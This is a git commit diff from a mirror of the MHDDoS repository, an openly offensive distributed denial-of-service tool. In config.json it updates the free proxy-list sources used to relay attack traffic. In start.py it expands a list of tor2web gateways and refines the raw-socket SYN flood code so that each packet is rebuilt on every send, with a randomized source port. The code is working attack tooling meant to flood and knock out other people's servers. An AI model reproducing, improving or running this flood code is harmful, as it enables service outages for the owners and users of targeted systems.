mirror of
https://github.com/MatrixTM/MHDDoS.git
synced 2024-11-16 03:32:32 +08:00
Merge branch 'MatrixTM:main' into main
This commit is contained in:
commit
32718530ae
12
config.json
12
config.json
|
@ -12,12 +12,10 @@
|
|||
{"type":4, "url": "https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks4.txt", "timeout": 5},
|
||||
{"type":4, "url": "https://www.my-proxy.com/free-socks-4-proxy.html", "timeout": 5},
|
||||
{"type":4, "url": "https://raw.githubusercontent.com/roosterkid/openproxylist/main/SOCKS4_RAW.txt", "timeout": 5},
|
||||
{"type":4, "url": "http://proxysearcher.sourceforge.net/Proxy/List.php?type=socks", "timeout": 5},
|
||||
{"type":4, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks4.txt", "timeout": 5},
|
||||
{"type":4, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5},
|
||||
{"type":4, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5},
|
||||
{"type":4, "url": "http://worm.rip/socks4.txt", "timeout": 5},
|
||||
{"type":4, "url": "https://www.freeproxychecker.com/result/socks4_proxies.txt", "timeout": 5},
|
||||
{"type":4, "url": "https://proxyspace.pro/socks4.txt", "timeout": 5},
|
||||
|
||||
{"type":5, "url": "https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5", "timeout": 5},
|
||||
{"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5},
|
||||
|
@ -32,8 +30,8 @@
|
|||
{"type":5, "url": "https://api.proxyscrape.com/v2/?request=displayproxies&protocol=socks5", "timeout": 5},
|
||||
{"type":5, "url": "http://www.socks24.org/feeds/posts/default", "timeout": 5},
|
||||
{"type":5, "url": "https://www.freeproxychecker.com/result/socks5_proxies.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://raw.githubusercontent.com/TheSpeedX/SOCKS-List/master/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "http://worm.rip/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://proxyspace.pro/socks5.txt", "timeout": 5},
|
||||
{"type":5, "url": "https://raw.githubusercontent.com/hookzof/socks5_list/master/proxy.txt", "timeout": 5},
|
||||
|
||||
|
||||
|
@ -50,7 +48,6 @@
|
|||
{"type":1, "url": "https://www.my-proxy.com/free-proxy-list-2.html", "timeout": 5},
|
||||
{"type":1, "url": "https://www.my-proxy.com/free-proxy-list-3.html", "timeout": 5},
|
||||
{"type":1, "url": "https://www.my-proxy.com/free-proxy-list-4.html", "timeout": 5},
|
||||
{"type":1, "url": "https://proxy50-50.blogspot.com/", "timeout": 5},
|
||||
{"type":1, "url": "https://www.my-proxy.com/free-proxy-list-5.html", "timeout": 5},
|
||||
{"type":1, "url": "http://alexa.lr2b.com/proxylist.txt", "timeout": 5},
|
||||
{"type":1, "url": "http://rootjazz.com/proxies/proxies.txt", "timeout": 5},
|
||||
|
@ -70,11 +67,10 @@
|
|||
{"type":1, "url": "https://raw.githubusercontent.com/sunny9577/proxy-scraper/master/proxies.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/UserR3X/proxy-list/main/online/http.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/opsxcq/proxy-list/master/list.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://proxy-spider.com/api/proxies.example.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://multiproxy.org/txt_all/proxy.txt", "timeout": 5},
|
||||
{"type":1, "url": "http://rootjazz.com/proxies/proxies.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://raw.githubusercontent.com/clarketm/proxy-list/master/proxy-list-raw.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://proxyspace.pro/http.txt", "timeout": 5},
|
||||
{"type":1, "url": "https://proxyspace.pro/https.txt", "timeout": 5},
|
||||
{"type":1, "url": "http://worm.rip/http.txt", "timeout": 5}
|
||||
]
|
||||
}
|
||||
|
|
43
start.py
43
start.py
|
@ -48,7 +48,43 @@ ctx.verify_mode = CERT_NONE
|
|||
__version__: str = "2.4 SNAPSHOT"
|
||||
__dir__: Path = Path(__file__).parent
|
||||
__ip__: Any = None
|
||||
tor2webs = ['onion.ly', 'tor2web.to', 'onion.org', 'onion.pet', 'onion.ws', 'onion.top', 'onion.dog']
|
||||
tor2webs = [
|
||||
'onion.city',
|
||||
'onion.cab',
|
||||
'onion.direct',
|
||||
'onion.sh',
|
||||
'onion.link',
|
||||
'onion.ws',
|
||||
'onion.pet',
|
||||
'onion.rip',
|
||||
'onion.plus',
|
||||
'onion.top',
|
||||
'onion.si',
|
||||
'onion.ly',
|
||||
'onion.my',
|
||||
'onion.sh',
|
||||
'onion.lu',
|
||||
'onion.casa',
|
||||
'onion.com.de',
|
||||
'onion.foundation',
|
||||
'onion.rodeo',
|
||||
'onion.lat',
|
||||
'tor2web.org',
|
||||
'tor2web.fi',
|
||||
'tor2web.blutmagie.de',
|
||||
'tor2web.to',
|
||||
'tor2web.io',
|
||||
'tor2web.in',
|
||||
'tor2web.it',
|
||||
'tor2web.xyz',
|
||||
'tor2web.su',
|
||||
'darknet.to',
|
||||
's1.tor-gateways.de',
|
||||
's2.tor-gateways.de',
|
||||
's3.tor-gateways.de',
|
||||
's4.tor-gateways.de',
|
||||
's5.tor-gateways.de'
|
||||
]
|
||||
|
||||
with open(__dir__ / "config.json") as f:
|
||||
con = load(f)
|
||||
|
@ -485,11 +521,10 @@ class Layer4(Thread):
|
|||
Tools.safe_close(s)
|
||||
|
||||
def SYN(self) -> None:
|
||||
payload = self._genrate_syn()
|
||||
s = None
|
||||
with suppress(Exception), socket(AF_INET, SOCK_RAW, IPPROTO_TCP) as s:
|
||||
s.setsockopt(IPPROTO_IP, IP_HDRINCL, 1)
|
||||
while Tools.sendto(s, payload, self._target):
|
||||
while Tools.sendto(s, self._genrate_syn(), self._target):
|
||||
continue
|
||||
Tools.safe_close(s)
|
||||
|
||||
|
@ -569,7 +604,7 @@ class Layer4(Thread):
|
|||
tcp.set_SYN()
|
||||
tcp.set_th_flags(0x02)
|
||||
tcp.set_th_dport(self._target[1])
|
||||
tcp.set_th_sport(ProxyTools.Random.rand_int(1, 65535))
|
||||
tcp.set_th_sport(ProxyTools.Random.rand_int(32768, 65535))
|
||||
ip.contains(tcp)
|
||||
return ip.get_packet()
|
||||
|
||||
|
|
Loading…
Reference in New Issue
Block a user